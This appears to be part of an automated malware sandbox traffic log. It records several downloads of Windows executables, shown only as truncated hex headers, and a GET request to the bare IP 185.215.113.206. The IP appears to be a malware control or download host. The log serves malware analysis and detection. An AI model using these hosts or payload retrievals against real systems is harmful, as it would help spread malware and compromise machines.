0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 17:20:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 17:20:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 17:20:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 17:20:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 17:20:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 17:20:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 17:20:49 GMTContent-Type: application/octet-streamContent-Length: 3254784Last-Modified: Mon, 09 Dec 2024 16:55:44 GMTConnection: keep-aliveETag: "67572110-31aa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 b0 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 31 00 00 04 00 00 70 ca 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 9d 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e4 9c 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 90 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 71 68 6d 6b 6c 71 72 00 f0 2a 00 00 b0 06 00 00 ee 2a 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 7a 6a 62 76 68 69 76 00 10 00 00 00 a0 31 00 00 04 00 00 00 84 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 31 00 00 22 00 00 00 88 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
